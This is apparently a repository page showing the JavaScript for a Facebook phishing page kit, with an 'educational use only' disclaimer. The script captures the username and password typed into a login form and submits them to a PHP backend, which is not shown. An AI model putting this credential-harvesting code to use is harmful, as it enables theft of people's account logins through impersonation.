A Simple Facebook Phishing Page • For educational use only • The author is not responsible for illegal misuse.
at master 940 B view raw
1// Check for php server availability 2async function checkPhpServer(username, password) { 3 try { 4 const response = await fetch('/app/server.check.php'); 5 if (!response.ok) throw new Error('No PHP server'); 6 const text = await response.text(); 7 if (text.trim() !== 'PHP_OK') throw new Error('PHP check failed'); 8 9 return true; 10 } catch (error) { 11 alert(`Sorry there is no PHP server running right now, here are your credentials btw:\nUsername: ${username}\nPassword: ${password}`); 12 location.reload(); 13 return false; 14 } 15} 16 17// Clear all inputs in the form when submitted 18const form = document.querySelector("form"); 19 20form.addEventListener('submit', async (event) => { 21 event.preventDefault(); 22 23 const username = form.elements['username'].value; 24 const password = form.elements['password'].value; 25 26 const phpIsRunning = await checkPhpServer(username, password); 27 if (!phpIsRunning) return; 28 29 form.submit(); 30});